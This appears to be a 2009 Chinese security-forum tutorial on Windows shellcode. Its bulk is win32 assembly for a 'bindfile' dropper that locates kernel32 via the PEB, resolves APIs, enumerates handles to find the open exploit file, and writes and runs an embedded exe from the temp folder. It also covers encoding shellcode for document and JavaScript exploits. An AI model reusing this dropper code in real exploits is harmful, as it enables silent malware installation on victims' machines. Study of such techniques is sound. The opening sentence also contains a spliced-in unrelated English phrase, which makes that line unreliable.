標 題: 【原創】windows下的shellcode剖析淺談
作 者: snowdbg
時 間: 2009-10-06,11:12
鏈 接: http://bbs.pediy.com/showthread.php?t=99007
今天是中秋節,正好我的文章在今Apsara Infrastructure Management Framework本完成,作為中秋禮物送給大家,由於本人水平有限希望大家多多批評指正!
學習了好些日子了,思路總是亂亂的,這幾天決定養成個好習慣,把自己學習的一些東西做一些總結寫篇文章,以便歸納和總結,並從中能夠更深刻更系統化的理解其技術原理。 今天,就從shellcode來下手吧!
說到shellcode可能都有些迷茫,不知它是什麼東西,可能覺得也很神秘,對於它的專業解釋也很少有人提及,今天我們就從以下幾個方面來對windows下的shellcode做一個全剖析:
1. shellcode的發展曆史以及定義
2. 現今常見的windows下的shellcode種類
3. 動手編寫一個簡單的shellcode
4. shellcode的存在形式以及編碼方式
5. exploit中的shellcode
好了,下面我們就逐一來弄清楚這些問題吧!
1. shellcode的發展曆史以及定義:
對於shellcode的發展曆史,failewest兄的《0day安全:軟體漏洞分析技術》一書中講的很明白,這裡就引用一小段:
“1996年,Aleph One在Underground發表了著名論文《SMASHING THE STACK FOR FUN AND PROFIT》,其中詳細描述了Linux系統中棧的結構和如何利用基於棧的緩衝區溢位。在這篇具有劃時代意義的論文中,Aleph One示範了如何向進程中植入一段用於獲得shell的代碼,並在論文中稱這段被植入進程的代碼為’shellcode’。
後來人們乾脆統一用shellcode這個專用術語來通稱緩衝區溢位攻擊中植入進程的代碼。這段代碼可以是出於惡作劇目的的彈出一個訊息框,也可以是出於攻擊目的的刪改重要檔案、竊取資料、上傳木馬病毒並運行,甚至是出於破壞目的的格式化硬碟等等。”
其實,現在shellcode的應用也很廣泛,甚至有些遠端控制軟體也把自己能做成一個shellcode形式,我們只要理解這個是溢出之後幹壞事的一段代碼。(文章中提及的shellcode也全是跟溢出相關的shellcode)
2. 現今常見的windows下的shellcode種類
這裡,我就直接從功能上來分類:
(1) 反彈連接埠類(shell)
這是一個真正的原始意義上的shellcode,不得不講
(2) 下載並執行類(download&exec)
這個是最簡單的一類shellcode,在網馬中的應用也最廣泛
(3) 產生並運行可執行檔類(bindfile)
為什麼會有這麼一類shellcode呢?試想想,製造漏洞的壞人如果把前面兩類shellcode綁定到一個應用軟體exploit裡面就會出現一些意外情況:
a) 假如你的反彈行為被防火牆給攔截了怎麼辦?
b) 假如對方的防範意識比較高開啟doc、pdf之類的檔案的時候總是把網斷了再開啟怎麼辦?
哎~,早有壞人替我們想到了這些問題,他們把自己的exe也一併綁定到exploit中,shellcode的功能就是把exe釋放出來,然後運行。(這個方法有點邪惡吧)
3. 動手編寫一個簡單的shellcode
好了,前面說了這麼多廢話,說一會也該練練了。
這裡為了方便講解,我就選擇用win32彙編來寫吧。(當然我對c更熟悉些)前面兩類shellcode的例子很多,這裡我就著重介紹下bindfile類shellcode的編寫。
首先,讓我們來理理思路,看圖:
查看次數: 1360
檔案大小: 26.8 KB" style="margin: 2px" alt="名稱: 1.JPG
查看次數: 1360
檔案大小: 26.8 KB" src="http://bbs.pediy.com/attachment.php?attachmentid=32768&d=1254798295" onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='';this.onmouseover=this.style.cursor='pointer'; this.onclick=function(){window.open('http://bbs.pediy.com/attachment.php?attachmentid=32768&d=1254798295')}}" border="0">
這個圖是按shellcode的執行流程來畫的,下面逐一來講解。
其實shellcode就是一段自主的而且功能完善的代碼,不過裡面不能直接調用API函數,因為它不是運行在編譯器環境下,沒有include來聲明函數,更沒有應用程式的函數表,所以,shellcode得自己想辦法找到自己調用的API函數的地址,然後強行調用了。
(1) 尋找kernel32.dll基址:
shellcode裡面用的API函數一般都是與使用者介面無關的,因為它要幹壞事,一般都是偷偷的,所以它一般用的都是kernel32.dll裡面的函數。所以,我們必須先找到kernel32的基址才能進一步找到各API的地址具體地址。
關於擷取api基址的方法很多,我這裡就講最簡單的一種(這裡面集合了眾多高手的實踐經驗):
利用PEB尋找kernel32基址:代碼:
assume fs:nothing mov eax,fs:[30h] test eax,eax js os_9xos_nt: mov eax,[eax+0ch] mov esi,[eax+1ch] lodsd mov eax,[eax+8] jmp k_finishedos_9x: mov eax,[eax+34h] mov eax,[eax+7ch] mov eax,[eax+3ch]k_finished: sub esp,200 mov edi,esp mov [edi+8],eax ;擷取kernel32地址
可能上面這段代碼大家看的不是很明白,現在畫個來看看:
查看次數: 1348
檔案大小: 14.8 KB" style="margin: 2px" alt="名稱: 2.JPG
查看次數: 1348
檔案大小: 14.8 KB" src="http://bbs.pediy.com/attachment.php?attachmentid=32769&d=1254798295" onload="if(this.width>screen.width*0.6) {this.width=screen.width*0.6;this.alt='';this.onmouseover=this.style.cursor='pointer'; this.onclick=function(){window.open('http://bbs.pediy.com/attachment.php?attachmentid=32769&d=1254798295')}}" border="0">
至於為什麼這裡放的就是kernel32的基址呢,這需要感謝那些經驗豐富的大牛了,ms本來就是這麼設計的,但是要找到這麼通用的方法可不簡單。同時,代碼裡面也對9x系統進行了判斷,相信大家可以通過上面的圖看明白是什麼意思。
其實,還由幾種思路非常清晰的動態尋找方法,大家可以自己去找找相關的文章看看。我喜歡偷懶~
(2) 尋找API函數地址
通過上面找到了kernel32的基址,但是我們如何得到具體的api函數地址呢?這裡就需要涉及到pe檔案格式了。這裡我只講解如何從dll檔案中找出其函數引出表中的函數地址的方法:(班門弄斧了,見笑~)
a.在kernel32基址+0x3c處擷取e_lfanewc地址,即可以得到PE頭
b.在PE頭位移的0x78處得到函數引出表地址
c.在引出表的0x1c位移處擷取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
d. AddressOfFunctions和 AddressOfNames是函數地址和函數名通過AddressOfNameOrdinalse一一對應的兩個數組
e.是這樣計算的:
搜尋AddressOfNames,確定“GetProcAddress”所對應的index;
index = AddressOfNameOrdinalse [ index ];
函數地址 = AddressOfFunctions [ index ];
代碼:代碼:
FindApi: ;擷取API函數地址子過程 push ebp push edi mov ebp,edi mov ebx,esp add ebx,8 xor edx,edx mov eax,[ebp+8] add eax,3ch ;指向PE頭部位移值e_lfanew mov eax,[eax] ;取得e_lfanew值 add eax,[ebp+8] ;指向PE header cmp dword ptr[eax],4550h ;判斷是否為'PE' jne NotFound ;kernel32基址錯誤 mov [ebp+0ch],eax ;儲存PE檔案頭 mov eax,[eax+78h] add eax,[ebp+8] mov [ebp+0ch],eax ;指向IMAGE_EXPORT_DIRECTORY mov eax,[eax+20h] add eax,[ebp+8] mov [ebp+4],eax ;儲存函數名指標數組的指標值 mov ecx,[ebp+0ch] mov ecx,[ecx+14h]FindLoop: push ecx mov eax,[eax] add eax,[ebp+8] mov esi,ebx add esi,8 mov edi,eax mov ecx,[ebx+4] cld repe cmpsb jne FindNext add esp,4 mov eax,[ebp+0ch] mov eax,[eax+1ch] add eax,[ebp+8] shl edx,2 add eax,edx mov eax,[eax] add eax,[ebp+8] jmp FoundFindNext: inc edx add dword ptr[ebp+4],4 mov eax,[ebp+4] pop ecx loop FindLoopNotFound: xor eax,eaxFound: pop edi pop ebp ret
(3) 定位exe檔案資料
API地址也找到了,現在剩下的就是實現功能,首先,想到的就是找到exe的資料在哪,然後我們把它ReadFile提出來然後CreateFile再WriteFile不就完了。但是,我們又面臨以下兩個問題:
如何找到exe資料呢?
這個問題很好回答,exe的資料就在我們的exploit檔案中,接下來就有些難度了;
如何定位exploit檔案呢?
我們可以考慮兩種做法:
一是知道exploit檔案的路徑,那樣就可以用CreateFile來開啟它,從而擷取資料,不過這種做法還面臨一個困難,如何得到exploit檔案的路徑,當然,辦法還是有的;
第二種方法就是找到exploit的檔案控制代碼,這裡先討論一個邏輯關係,就是我們為什麼可以利用這種方法,原因很簡單,你的exploit其實已經開啟了,只是你自己不知道它的控制代碼而已,這樣,只要我們能群舉出控制代碼,那麼就可以直接通過控制代碼來讀exploit裡面的exe檔案資料了。
上面兩種方法的優缺點顯而易見,第二種方法通用性更強,第一種方法雖然可以用更加巧妙的方式來實現,但是難度相對較高,而且不容易理解,所以我就以第二種方法為例來介紹,即群舉控制代碼法:代碼:
mov dword ptr[edi+68h],1000h ;設定exe檔案長度exelen xor esi,esisHandle: inc esi push 0 push esi call dword ptr[edi+10h] cmp eax,1536 ;exploit檔案大小 jne sHandle mov [edi+3ch],eax mov [edi+40h],esi ;根據檔案大小群舉有效控制代碼
這裡還要辦的一件事就是,在ReadFile和Writefile的時候需要申請一個空間來存放exe檔案資料,這就由GlobalAlloc和GlobalFree來負責解決這個問題了,這裡就不需要詳細解釋了。代碼:
push [edi+3ch] push 40 call dword ptr[edi+20h] mov [edi+60h],eax ;申請記憶體空間儲存讀取出來的exe檔案資料 mov esi,esp add esi,100h push esi push 50h call dword ptr[edi+18h] mov ebx,esi mov [edi+44h],esi add ebx,eax add ebx,8 mov eax,esp mov esp,ebx push 'e' push 'xe.a' sub esp,8 mov esp,eax ;擷取臨時檔案夾路徑,並追加exe檔案名稱 push 0 push 2 push 2 push 0 push 3 push 40000000h mov ebx,[edi+44h] push ebx call dword ptr[edi+1ch] ;根據exe檔案路徑建立exe檔案 mov [edi+48h],eax push 2 push 0 push 200 push dword ptr[edi+40h] call dword ptr[edi+14h] ;設定檔案指標 push 0 lea ebx,dword ptr[edi+64h] push ebx push dword ptr[edi+68h] push dword ptr[edi+60h] push dword ptr[edi+40h] call dword ptr[edi+28h] ;讀取指定長度 push 0 lea ebx,dword ptr[edi+64h] push ebx push dword ptr[edi+68h] push dword ptr[edi+60h] push dword ptr[edi+48h] call dword ptr[edi+2ch] ;將讀取的exe檔案資料寫入exe檔案中
(4) 產生並運行exe
這個就比較簡單了,直接看代碼:代碼:
mov ebx,[edi+40h] call dword ptr[edi+30h] ;大功告成CloseHandle mov ebx,[edi+48h] push ebx call dword ptr[edi+34h] ;最終目標,運行exe檔案
(5) 打掃戰場,閃人
當然首先是要把前面申請的記憶體空間釋放掉,然後用個exitprocess來結束這一切吧,一是留點善心,二是省事:代碼:
push dword ptr[edi+60h]call dword ptr[edi+24h] ;清理戰場GlobalFreepush 0call dword ptr[edi+38h] ;exitprocess退出進程,以免進程卡死或報錯
4. shellcode的自動提取
上面寫的shellcode是用彙編寫的,我們不至於把它直接拷到exploit裡面去執行吧,cpu認的是機器碼,所以你控制了eip之後當然得把它指到cpu能識別的指令上去吧。所以,我們得把彙編轉換成機器碼,網上公開的方法很多,我這裡介紹一種比較簡便的方法吧:既然你是用彙編寫的那麼你的代碼在.code段的記憶體中應該就直接是機器碼了,只需要在開始和結尾打個標記,然後把它直接從那裡匯出來就完了。
看代碼:代碼:
.386 .model flat, stdcall option casemap:noneinclude user32.incinclude kernel32.incincludelib kernel32.libincludelib user32.lib .datasc_out db 'sc_out.txt',0exelen dd 1000h .data?sc_start dd ?sc_end dd ?sc_len dd ?out_handle dd ?out_buff dd ?dwsize dd ? .codestart: jmp scEnd; scStart: ……scEnd: mov sc_start,scStart mov sc_end, scEnd mov ebx,sc_end sub ebx,sc_start mov sc_len,ebx invoke CreateFile,offset sc_out,40000000h,3,0,2,2,0 mov out_handle,eax lea ebx,scStart mov out_buff,ebx invoke WriteFile,out_handle,out_buff,sc_len,addr dwsize,0 invoke CloseHandle,out_handle end start
5. exploit中的shellcode
在exploit中,有時候由於隱蔽性、str的0x00斷開限制、JavaScript等指令碼中不同的字串格式要求下,可能shellcode會需要以不同的形式來放到exploit中。下面逐一來說明:
(1) 隱蔽性
這個一般就是對shellcode進行簡單的編碼,比如異或等方式
(2) Str的0x00斷開限制
有時候shellcode是作為一個問題函數的參數被傳入的,這個時候就必須考慮傳入shellcode的完整性了,因為在字串中往往0x00會將字串斷開,所以必須向辦法在shellcode中避免0x00的出現
(3) JavaScript中的unescape
在JavaScript中所有的變數基本都是以字串的形式或者unescape的形式存在的,沒有byte這種概念,因此對於一些諸如0x00,0x01等等這些非字串是無法表示的,最好還是用它的unescape來存在,那麼就必須把的shellcode轉換成它的格式來放在exploit中了,這種多見於JavaScript溢出利用中。
不知不覺寫了這麼多,由於本人的知識水平和表達能力有限,所以其中不免有錯誤之處,希望大家能夠批評指正!